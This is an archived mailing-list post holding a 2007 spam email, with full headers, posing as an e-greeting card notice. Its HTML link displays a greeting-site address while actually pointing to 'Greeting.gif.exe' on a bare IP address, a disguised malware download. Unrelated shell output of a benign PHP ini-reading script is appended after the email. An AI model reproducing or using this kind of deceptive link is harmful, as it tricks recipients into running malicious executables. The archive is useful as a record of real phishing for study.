[7196] in SIPB_Linux_Development

home help back first fref pref prev next nref lref last post

You just received a E-Greeting

daemon@ATHENA.MIT.EDU (E-Greeting)
Tue Apr 3 23:36:18 2007

From admins@ftp.drukarch.com.pl Wed Apr 04 03:36:18 2007
Return-Path: <admins@ftp.drukarch.com.pl>
Delivered-To: linux-dev-mtg@charon.mit.edu
Received: (qmail 24682 invoked from network); 4 Apr 2007 03:36:18 -0000
Received: from ftp.drukarch.com.pl (62.89.110.34)
  by charon.mit.edu with SMTP; 4 Apr 2007 03:36:18 -0000
Received: by ftp.drukarch.com.pl (Postfix, from userid 1043)
	id 5DF83228682; Wed,  4 Apr 2007 04:32:24 +0200 (CEST)
To: linux-dev-mtg@charon.mit.edu
Subject: You just received a E-Greeting
Message-ID: <1175653944.227691.greeting@all-yours.net>
From: "E-Greeting" <greeting@all-yours.net>
Content-Type: text/html
Date: Wed,  4 Apr 2007 04:32:24 +0200 (CEST)

<html>
<title> Greeting </title>
<body>
<p>Hello ,</p>
<p>A Greeting Card is waiting for you at our virtual post office! You can pick up your postcard at the following web address:</p>
<p><a 
href="http://83.143.18.122/Greeting.gif.exe">http://www.all-yours.net/u/view.php?id=a0190313376667</a></p>
<p> visit E-Greetings at <a href="http://www.all-yours.net/">http://www.all-yours.net/</a><br>
and enter your pickup code, which is: a0190313376667<br>
<br>
(Your postcard will be available for 60 days.)</p>
</body>



dhcp-dic send # cat ini.inc
<?php
    function loadini($path) {
    $fp = fopen($path, "r");
    $fpcontents = fread($fp, filesize($path));
    fclose($fp);
    return $fpcontents;
    }
    function readini($filename, $key) {
    return rfi($filename,$key,TRUE);
    }
    function rfi($filename, $key, $just_value) {
    $filecontents=loadini($filename);
    $key .= "=";
    $currentkey = strstr($filecontents, $key);
    if (!$currentkey)
    return($empty);
    $endpos = strpos($currentkey, "\r\n");
    if (!$endpos)  $endpos = strlen($currentkey);
    if ($just_value)  $currentkey = trim(substr($currentkey, strlen($key), $endpos-strlen($key)));
    else $currentkey = trim(substr($currentkey, 0, $endpos));
    return ($currentkey);
    }
?>
dhcp-dic send #

home help back first fref pref prev next nref lref last post